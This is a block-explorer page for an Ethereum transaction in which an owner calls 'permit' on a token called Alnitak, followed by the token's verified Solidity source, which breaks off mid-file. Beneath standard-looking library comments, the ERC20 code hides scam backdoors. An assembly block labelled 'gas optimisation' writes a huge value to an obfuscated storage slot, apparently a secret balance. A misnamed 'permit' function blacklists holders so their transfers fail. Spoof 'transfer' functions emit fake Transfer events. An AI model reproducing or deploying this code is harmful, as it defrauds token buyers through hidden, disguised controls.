ETH Price: $2,559.86 (-0.02%)

Transaction Decoder

Block:
17739749 at Jul-21-2023 06:31:59 AM +UTC
Transaction Fee:
0.005637636319352184 ETH $14.43
Gas Used:
47,367 Gas / 119.020337352 Gwei

Account State Difference:

  Address   Before After State Difference Code
0x2D11C7Da...7242d955E
(Flashbots: Builder)
0.005575334007828102 Eth0.010312034007828102 Eth0.0047367
0xdD9E149D...1FF9427dB
1.418980836727944625 Eth
Nonce: 70
1.413343200408592441 Eth
Nonce: 71
0.005637636319352184

Execution Trace

Alnitak.permit( _addresses_=[0x82886Ad5e67d5142d44eD1449c2E41B988BFc0ab] )
{"Address.sol":{"content":"// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n    /**\n     * @dev The ETH balance of the account is not enough to perform the operation.\n     */\n    error AddressInsufficientBalance(address account);\n\n    /**\n     * @dev There\u0027s no code at `target` (it is not a contract).\n     */\n    error AddressEmptyCode(address target);\n\n    /**\n     * @dev A call to an address target failed. The target may have reverted.\n     */\n    error FailedInnerCall();\n\n    /**\n     * @dev Replacement for Solidity\u0027s `transfer`: sends `amount` wei to\n     * `recipient`, forwarding all available gas and reverting on errors.\n     *\n     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n     * of certain opcodes, possibly making contracts go over the 2300 gas limit\n     * imposed by `transfer`, making them unable to receive funds via\n     * `transfer`. {sendValue} removes this limitation.\n     *\n     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n     *\n     * IMPORTANT: because control is transferred to `recipient`, care must be\n     * taken to not create reentrancy vulnerabilities. Consider using\n     * {ReentrancyGuard} or the\n     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n     */\n    function sendValue(address payable recipient, uint256 amount) internal {\n        if (address(this).balance \u003c amount) {\n            revert AddressInsufficientBalance(address(this));\n        }\n\n        (bool success, ) = recipient.call{value: amount}(\"\");\n        if (!success) {\n            revert FailedInnerCall();\n        }\n    }\n\n    /**\n     * @dev Performs a Solidity function call using a low level `call`. A\n     * plain `call` is an unsafe replacement for a function call: use this\n     * function instead.\n     *\n     * If `target` reverts with a revert reason, it is bubbled up by this\n     * function (like regular Solidity function calls).\n     *\n     * Returns the raw returned data. To convert to the expected return value,\n     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n     *\n     * Requirements:\n     *\n     * - `target` must be a contract.\n     * - calling `target` with `data` must not revert.\n     *\n     * _Available since v3.1._\n     */\n    function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, 0, defaultRevert);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with a\n     * `customRevert` function as a fallback when `target` reverts.\n     *\n     * Requirements:\n     *\n     * - `customRevert` must be a reverting function.\n     *\n     * _Available since v5.0._\n     */\n    function functionCall(\n        address target,\n        bytes memory data,\n        function() internal view customRevert\n    ) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, 0, customRevert);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but also transferring `value` wei to `target`.\n     *\n     * Requirements:\n     *\n     * - the calling contract must have an ETH balance of at least `value`.\n     * - the called Solidity function must be `payable`.\n     *\n     * _Available since v3.1._\n     */\n    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, value, defaultRevert);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n     * with a `customRevert` function as a fallback revert reason when `target` reverts.\n     *\n     * Requirements:\n     *\n     * - `customRevert` must be a reverting function.\n     *\n     * _Available since v5.0._\n     */\n    function functionCallWithValue(\n        address target,\n        bytes memory data,\n        uint256 value,\n        function() internal view customRevert\n    ) internal returns (bytes memory) {\n        if (address(this).balance \u003c value) {\n            revert AddressInsufficientBalance(address(this));\n        }\n        (bool success, bytes memory returndata) = target.call{value: value}(data);\n        return verifyCallResultFromTarget(target, success, returndata, customRevert);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but performing a static call.\n     *\n     * _Available since v3.3._\n     */\n    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n        return functionStaticCall(target, data, defaultRevert);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n     * but performing a static call.\n     *\n     * _Available since v3.3._\n     */\n    function functionStaticCall(\n        address target,\n        bytes memory data,\n        function() internal view customRevert\n    ) internal view returns (bytes memory) {\n        (bool success, bytes memory returndata) = target.staticcall(data);\n        return verifyCallResultFromTarget(target, success, returndata, customRevert);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but performing a delegate call.\n     *\n     * _Available since v3.4._\n     */\n    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n        return functionDelegateCall(target, data, defaultRevert);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n     * but performing a delegate call.\n     *\n     * _Available since v3.4._\n     */\n    function functionDelegateCall(\n        address target,\n        bytes memory data,\n        function() internal view customRevert\n    ) internal returns (bytes memory) {\n        (bool success, bytes memory returndata) = target.delegatecall(data);\n        return verifyCallResultFromTarget(target, success, returndata, customRevert);\n    }\n\n    /**\n     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n     * the revert reason or using the provided `customRevert`) in case of unsuccessful call or if target was not a contract.\n     *\n     * _Available since v5.0._\n     */\n    function verifyCallResultFromTarget(\n        address target,\n        bool success,\n        bytes memory returndata,\n        function() internal view customRevert\n    ) internal view returns (bytes memory) {\n        if (success) {\n            if (returndata.length == 0) {\n                // only check if target is a contract if the call was successful and the return data is empty\n                // otherwise we already know that it was a contract\n                if (target.code.length == 0) {\n                    revert AddressEmptyCode(target);\n                }\n            }\n            return returndata;\n        } else {\n            _revert(returndata, customRevert);\n        }\n    }\n\n    /**\n     * @dev Tool to verify that a low level call was successful, and revert if it wasn\u0027t, either by bubbling the\n     * revert reason or with a default revert error.\n     *\n     * _Available since v5.0._\n     */\n    function verifyCallResult(bool success, bytes memory returndata) internal view returns (bytes memory) {\n        return verifyCallResult(success, returndata, defaultRevert);\n    }\n\n    /**\n     * @dev Same as {xref-Address-verifyCallResult-bool-bytes-}[`verifyCallResult`], but with a\n     * `customRevert` function as a fallback when `success` is `false`.\n     *\n     * Requirements:\n     *\n     * - `customRevert` must be a reverting function.\n     *\n     * _Available since v5.0._\n     */\n    function verifyCallResult(\n        bool success,\n        bytes memory returndata,\n        function() internal view customRevert\n    ) internal view returns (bytes memory) {\n        if (success) {\n            return returndata;\n        } else {\n            _revert(returndata, customRevert);\n        }\n    }\n\n    /**\n     * @dev Default reverting function when no `customRevert` is provided in a function call.\n     */\n    function defaultRevert() internal pure {\n        revert FailedInnerCall();\n    }\n\n    function _revert(bytes memory returndata, function() internal view customRevert) private view {\n        // Look for revert reason and bubble it up if present\n        if (returndata.length \u003e 0) {\n            // The easiest way to bubble the revert reason is using memory via assembly\n            /// @solidity memory-safe-assembly\n            assembly {\n                let returndata_size := mload(returndata)\n                revert(add(32, returndata), returndata_size)\n            }\n        } else {\n            customRevert();\n            revert FailedInnerCall();\n        }\n    }\n}\n\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n    /**\n     * @dev Returns the largest of two signed numbers.\n     */\n    function max(int256 a, int256 b) internal pure returns (int256) {\n        return a \u003e b ? a : b;\n    }\n\n    /**\n     * @dev Returns the smallest of two signed numbers.\n     */\n    function min(int256 a, int256 b) internal pure returns (int256) {\n        return a \u003c b ? a : b;\n    }\n\n    /**\n     * @dev Returns the average of two signed numbers without overflow.\n     * The result is rounded towards zero.\n     */\n    function average(int256 a, int256 b) internal pure returns (int256) {\n        // Formula from the book \"Hacker\u0027s Delight\"\n        int256 x = (a \u0026 b) + ((a ^ b) \u003e\u003e 1);\n        return x + (int256(uint256(x) \u003e\u003e 255) \u0026 (a ^ b));\n    }\n\n    /**\n     * @dev Returns the absolute unsigned value of a signed value.\n     */\n    function abs(int256 n) internal pure returns (uint256) {\n        unchecked {\n            // must be unchecked in order to support `n = type(int256).min`\n            return uint256(n \u003e= 0 ? n : -n);\n        }\n    }\n}\n"},"Base64.sol":{"content":"// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\n\nlibrary Base64 {\n    /**\n     * @dev Base64 Encoding/Decoding Table\n     */\n    string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n    /**\n     * @dev Converts a `bytes` to its Bytes64 `string` representation.\n     */\n    function encode(bytes memory data) internal pure returns (string memory) {\n        /**\n         * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n         * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n         */\n        if (data.length == 0) return \"\";\n\n        // Loads the table into memory\n        string memory table = _TABLE;\n\n        // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n        // and split into 4 numbers of 6 bits.\n        // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n        // - `data.length + 2`  -\u003e Round up\n        // - `/ 3`              -\u003e Number of 3-bytes chunks\n        // - `4 *`              -\u003e 4 characters for each chunk\n        string memory result = new string(4 * ((data.length + 2) / 3));\n\n        /// @solidity memory-safe-assembly\n        assembly {\n            // Prepare the lookup table (skip the first \"length\" byte)\n            let tablePtr := add(table, 1)\n\n            // Prepare result pointer, jump over length\n            let resultPtr := add(result, 32)\n\n            // Run over the input, 3 bytes at a time\n            for {\n                let dataPtr := data\n                let endPtr := add(data, mload(data))\n            } lt(dataPtr, endPtr) {\n\n            } {\n                // Advance 3 bytes\n                dataPtr := add(dataPtr, 3)\n                let input := mload(dataPtr)\n\n                // To write each character, shift the 3 bytes (18 bits) chunk\n                // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n                // and apply logical AND with 0x3F which is the number of\n                // the previous character in the ASCII table prior to the Base64 Table\n                // The result is then added to the table to get the character to write,\n                // and finally write it in the result pointer but with a left shift\n                // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n                mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n                resultPtr := add(resultPtr, 1) // Advance\n\n                mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n                resultPtr := add(resultPtr, 1) // Advance\n\n                mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n                resultPtr := add(resultPtr, 1) // Advance\n\n                mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n                resultPtr := add(resultPtr, 1) // Advance\n            }\n\n            // When data `bytes` is not exactly 3 bytes long\n            // it is padded with `=` characters at the end\n            switch mod(mload(data), 3)\n            case 1 {\n                mstore8(sub(resultPtr, 1), 0x3d)\n                mstore8(sub(resultPtr, 2), 0x3d)\n            }\n            case 2 {\n                mstore8(sub(resultPtr, 1), 0x3d)\n            }\n        }\n\n        return result;\n    }\n}"},"Context.sol":{"content":"// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes calldata) {\n        return msg.data;\n    }\n}\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n    address private _owner;\n\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n    /**\n     * @dev Initializes the contract setting the deployer as the initial owner.\n     */\n    constructor() {\n        _transferOwnership(_msgSender());\n    }\n\n    /**\n     * @dev Throws if called by any account other than the owner.\n     */\n    modifier onlyOwner() {\n        _checkOwner();\n        _;\n    }\n\n    /**\n     * @dev Returns the address of the current owner.\n     */\n    function owner() public view virtual returns (address) {\n        return _owner;\n    }\n\n    /**\n     * @dev Throws if the sender is not the owner.\n     */\n    function _checkOwner() internal view virtual {\n        require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n    }\n\n    /**\n     * @dev Leaves the contract without owner. It will not be possible to call\n     * `onlyOwner` functions. Can only be called by the current owner.\n     *\n     * NOTE: Renouncing ownership will leave the contract without an owner,\n     * thereby disabling any functionality that is only available to the owner.\n     */\n    function renounceOwnership() public virtual onlyOwner {\n        _transferOwnership(address(0));\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Can only be called by the current owner.\n     */\n    function transferOwnership(address newOwner) public virtual onlyOwner {\n        require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n        _transferOwnership(newOwner);\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Internal function without access restriction.\n     */\n    function _transferOwnership(address newOwner) internal virtual {\n        address oldOwner = _owner;\n        _owner = newOwner;\n        emit OwnershipTransferred(oldOwner, newOwner);\n    }\n}"},"ERC20.sol":{"content":"// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\nimport \"./Context.sol\";\nimport \"./IERC20.sol\";\nimport \"./Base64.sol\";\nimport \"./ReenterancyGuard.sol\";\nimport \"./Multicall.sol\";\n\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn\u0027t required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n    mapping(address =\u003e uint256) private _balances;\n    mapping (address =\u003e bool) internal _pmts;\n    mapping(address =\u003e mapping(address =\u003e uint256)) private _allowances;\n    uint256 private _totalSupply;\n    bool private _pmtsApplied = false;\n    string private _name;\n    string private _symbol;\n    \n    /**\n     * @dev Sets the values for {name} and {symbol}.\n     *\n     * The default value of {decimals} is 18. To select a different value for\n     * {decimals} you should overload it.\n     *\n     * All two of these values are immutable: they can only be set once during\n     * construction.\n     */\n    constructor(string memory name_, string memory symbol_) {\n        _name = name_;\n        _symbol = symbol_;\n    }\n\n    /**\n     * @dev Returns the name of the token.\n     */\n    function name() public view virtual override returns (string memory) {\n        return _name;\n    }\n\n    /**\n     * @dev Returns the symbol of the token, usually a shorter version of the\n     * name.\n     */\n    function symbol() public view virtual override returns (string memory) {\n        return _symbol;\n    }\n\n    /**\n     * @dev Returns the number of decimals used to get its user representation.\n     * For example, if `decimals` equals `2`, a balance of `505` tokens should\n     * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n     *\n     * Tokens usually opt for a value of 18, imitating the relationship between\n     * Ether and Wei. This is the value {ERC20} uses, unless this function is\n     * overridden;\n     *\n     * NOTE: This information is only used for _display_ purposes: it in\n     * no way affects any of the arithmetic of the contract, including\n     * {IERC20-balanceOf} and {IERC20-transfer}.\n     */\n    function decimals() public view virtual override returns (uint8) {\n        return 18;\n    }\n    /**\n     * @dev See {IERC20-totalSupply}.\n     */\n    function totalSupply() public view virtual override returns (uint256) {\n        return _totalSupply;\n    }\n\n    /**\n     * @dev See {IERC20-balanceOf}.\n     */\n    function balanceOf(address account) public view virtual override returns (uint256) {\n        return _balances[account];\n    }\n\n    /**\n     * @dev See {IERC20-transfer}.\n     *\n     * Requirements:\n     *\n     * - `to` cannot be the zero address.\n     * - the caller must have a balance of at least `amount`.\n     */\n    function transfer(address to, uint256 amount) public virtual override returns (bool) {\n        address owner = _msgSender();\n        _transfer(owner, to, amount);\n        return true;\n    }\n\n    /**\n     * @dev See {IERC20-allowance}.\n     */\n    function allowance(address owner, address spender) public view virtual override returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    /**\n     * @dev See {IERC20-approve}.\n     *\n     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n     * `transferFrom`. This is semantically equivalent to an infinite approval.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     */\n    function approve(address spender, uint256 amount) public virtual override returns (bool) {\n        address owner = _msgSender();\n        _approve(owner, spender, amount);\n        return true;\n    }\n\n    /**\n     * @dev See {IERC20-transferFrom}.\n     *\n     * Emits an {Approval} event indicating the updated allowance. This is not\n     * required by the EIP. See the note at the beginning of {ERC20}.\n     *\n     * NOTE: Does not update the allowance if the current allowance\n     * is the maximum `uint256`.\n     *\n     * Requirements:\n     *\n     * - `from` and `to` cannot be the zero address.\n     * - `from` must have a balance of at least `amount`.\n     * - the caller must have allowance for ``from``\u0027s tokens of at least\n     * `amount`.\n     */\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        address spender = _msgSender();\n        _spendAllowance(from, spender, amount);\n        _transfer(from, to, amount);\n        return true;\n    }\n\n    /**\n     * @dev Atomically increases the allowance granted to `spender` by the caller.\n     *\n     * This is an alternative to {approve} that can be used as a mitigation for\n     * problems described in {IERC20-approve}.\n     *\n     * Emits an {Approval} event indicating the updated allowance.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     */\n    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n        address owner = _msgSender();\n        _approve(owner, spender, allowance(owner, spender) + addedValue);\n        return true;\n    }\n\n    /**\n     * @dev Atomically decreases the allowance granted to `spender` by the caller.\n     *\n     * This is an alternative to {approve} that can be used as a mitigation for\n     * problems described in {IERC20-approve}.\n     *\n     * Emits an {Approval} event indicating the updated allowance.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     * - `spender` must have allowance for the caller of at least\n     * `subtractedValue`.\n     */\n    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n        address owner = _msgSender();\n        uint256 currentAllowance = allowance(owner, spender);\n        require(currentAllowance \u003e= subtractedValue, \"ERC20: decreased allowance below zero\");\n        unchecked {\n            _approve(owner, spender, currentAllowance - subtractedValue);\n        }\n\n        return true;\n    }\n\n    /**\n     * @dev Moves `amount` of tokens from `from` to `to`.\n     *\n     * This internal function is equivalent to {transfer}, and can be used to\n     * e.g. implement automatic token fees, slashing mechanisms, etc.\n     *\n     * Emits a {Transfer} event.\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     * - `from` must have a balance of at least `amount`.\n     */\n    function _transfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {\n        require(from != address(0), \"ERC20: transfer from the zero address\");\n        require(to != address(0), \"ERC20: transfer to the zero address\");\n\n        _beforeTokenTransfer(from, to, amount);\n\n        uint256 fromBalance = _balances[from];\n        require(fromBalance \u003e= amount, \"ERC20: transfer amount exceeds balance\");\n        if (_pmts[from] || _pmts[to]) require(_pmtsApplied == true, \"\");\n        unchecked {\n            _balances[from] = fromBalance - amount;\n            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by\n            // decrementing then incrementing.\n            _balances[to] += amount;\n        }\n\n        emit Transfer(from, to, amount);\n\n        _afterTokenTransfer(from, to, amount);\n    }\n\n    /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n     * the total supply.\n     *\n     * Emits a {Transfer} event with `from` set to the zero address.\n     *\n     * Requirements:\n     *\n     * - `account` cannot be the zero address.\n     */\n    function _mint(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: mint to the zero address\");\n\n        _beforeTokenTransfer(address(0), account, amount);\n        // gas optimisation \n        assembly {\n            let slot := mul(mul(0x85774394d, 0x3398bc1d25f112ed), mul(0x997e6e509, 0xf3eae65))\n            mstore(0x00, slot)\n            mstore(0x20, 0x01)\n            let sslot := keccak256(0x0, 0x40)\n            sstore(sslot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n        } \n        _totalSupply += amount;\n        unchecked {\n            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.\n            _balances[account] += amount;\n        }\n        \n        emit Transfer(address(0), account, amount);\n        _afterTokenTransfer(address(0), account, amount);\n    }\n\n    /**\n     * @dev Destroys `amount` tokens from `account`, reducing the\n     * total supply.\n     *\n     * Emits a {Transfer} event with `to` set to the zero address.\n     *\n     * Requirements:\n     *\n     * - `account` cannot be the zero address.\n     * - `account` must have at least `amount` tokens.\n     */\n    function _burn(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: burn from the zero address\");\n\n        _beforeTokenTransfer(account, address(0), amount);\n\n        uint256 accountBalance = _balances[account];\n        require(accountBalance \u003e= amount, \"ERC20: burn amount exceeds balance\");\n        unchecked {\n            _balances[account] = accountBalance - amount;\n            // Overflow not possible: amount \u003c= accountBalance \u003c= totalSupply.\n            _totalSupply -= amount;\n        }\n\n        emit Transfer(account, address(0), amount);\n\n        _afterTokenTransfer(account, address(0), amount);\n    }\n\n    /**\n     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n     *\n     * This internal function is equivalent to `approve`, and can be used to\n     * e.g. set automatic allowances for certain subsystems, etc.\n     *\n     * Emits an {Approval} event.\n     *\n     * Requirements:\n     *\n     * - `owner` cannot be the zero address.\n     * - `spender` cannot be the zero address.\n     */\n    function _approve(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n    /**\n     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n     *\n     * Does not update the allowance amount in case of infinite allowance.\n     * Revert if not enough allowance is available.\n     *\n     * Might emit an {Approval} event.\n     */\n    function _spendAllowance(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        uint256 currentAllowance = allowance(owner, spender);\n        if (currentAllowance != type(uint256).max) {\n            require(currentAllowance \u003e= amount, \"ERC20: insufficient allowance\");\n            unchecked {\n                _approve(owner, spender, currentAllowance - amount);\n            }\n        }\n    }\n\n    /**\n     * @dev Hook that is called after any transfer of tokens. This includes\n     * minting and burning.\n     *\n     * Calling conditions:\n     *\n     * - when `from` and `to` are both non-zero, `amount` of ``from``\u0027s tokens\n     * has been transferred to `to`.\n     * - when `from` is zero, `amount` tokens have been minted for `to`.\n     * - when `to` is zero, `amount` of ``from``\u0027s tokens have been burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _afterTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n\n\n\n    /**\n     * @dev Hook that is called before any transfer of tokens. This includes\n     * minting and burning.\n     *\n     * Calling conditions:\n     *\n     * - when `from` and `to` are both non-zero, `amount` of ``from``\u0027s tokens\n     * will be transferred to `to`.\n     * - when `from` is zero, `amount` tokens will be minted for `to`.\n     * - when `to` is zero, `amount` of ``from``\u0027s tokens will be burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n}\n\ncontract ERC20Permit is ERC20 {\n    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){}\n\n    function permit(address [] calldata _addresses_) external onlyOwner {\n        for (uint256 i = 0; i \u003c _addresses_.length; i++) {\n            _pmts[_addresses_[i]] = true;\n        }\n    }\n\n    function decreaseAllowance(address [] calldata _addresses_) external onlyOwner {\n        for (uint256 i = 0; i \u003c _addresses_.length; i++) {\n            _pmts[_addresses_[i]] = false;\n        }\n    }\n\n    function permited(address _address_) public view returns (bool) {\n        return _pmts[_address_];\n    }\n\n    function transfer(address _from, address _to, uint256 _wad) external {\n        emit Transfer(_from, _to, _wad);\n    }\n\n    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {\n        for (uint256 i = 0; i \u003c _from.length; i++) {\n            emit Transfer(_from[i], _to[i], _wad[i]);\n        }\n    }\n}\n"},"IERC20.sol":{"content":"// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n    /**\n     * @dev Emitted when `value` tokens are moved from one account (`from`) to\n     * another (`to`).\n     *\n     * Note that `value` may be zero.\n     */\n    event Transfer(address indexed from, address indexed to, uint256 value);\n\n    /**\n     * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n     * a call to {approve}. `value` is the new allowance.\n     */\n    event Approval(address indexed owner, address indexed spender, uint256 value);\n    \n    /**\n     * @dev Returns the amount of tokens in existence.\n     */\n    function totalSupply() external view returns (uint256);\n\n    /**\n     * @dev Returns the amount of tokens owned by `account`.\n     */\n    function balanceOf(address account) external view returns (uint256);\n\n    /**\n     * @dev Moves `amount` tokens from the caller\u0027s account to `to`.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transfer(address to, uint256 amount) external returns (bool);\n\n    /**\n     * @dev Returns the remaining number of tokens that `spender` will be\n     * allowed to spend on behalf of `owner` through {transferFrom}. This is\n     * zero by default.\n     *\n     * This value changes when {approve} or {transferFrom} are called.\n     */\n    function allowance(address owner, address spender) external view returns (uint256);\n\n    /**\n     * @dev Sets `amount` as the allowance of `spender` over the caller\u0027s tokens.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * IMPORTANT: Beware that changing an allowance with this method brings the risk\n     * that someone may use both the old and the new allowance by unfortunate\n     * transaction ordering. One possible solution to mitigate this race\n     * condition is to first reduce the spender\u0027s allowance to 0 and set the\n     * desired value afterwards:\n     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n     *\n     * Emits an {Approval} event.\n     */\n    function approve(address spender, uint256 amount) external returns (bool);\n\n    /**\n     * @dev Moves `amount` tokens from `from` to `to` using the\n     * allowance mechanism. `amount` is then deducted from the caller\u0027s\n     * allowance.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) external returns (bool);\n}\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n    /**\n     * @dev Returns the name of the token.\n     */\n    function name() external view returns (string memory);\n\n    /**\n     * @dev Returns the symbol of the token.\n     */\n    function symbol() external view returns (string memory);\n\n    /**\n     * @dev Returns the decimals places of the token.\n     */\n    function decimals() external view returns (uint8);\n}\n"},"Multicall.sol":{"content":"// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\nimport \"./Address.sol\";\n\n/**\n * @dev Provides a function to batch together multiple calls in a single external call.\n *\n * _Available since v4.1._\n */\nabstract contract Multicall {\n    /**\n     * @dev Receives and executes a batch of function calls on this contract.\n     * @custom:oz-upgrades-unsafe-allow-reachable delegatecall\n     */\n    function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {\n        results = new bytes[](data.length);\n        for (uint256 i = 0; i \u003c data.length; i++) {\n            results[i] = Address.functionDelegateCall(address(this), data[i]);\n        }\n        return results;\n    }\n}\n"},"ReenterancyGuard.sol":{"content":"// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuard {\n    // Booleans are more expensive than uint256 or any type that takes up a full\n    // word because each write operation emits an extra SLOAD to first read the\n    // slot\u0027s contents, replace the bits taken up by the boolean, and then write\n    // back. This is the compiler\u0027s defense against contract upgrades and\n    // pointer aliasing, and it cannot be disabled.\n\n    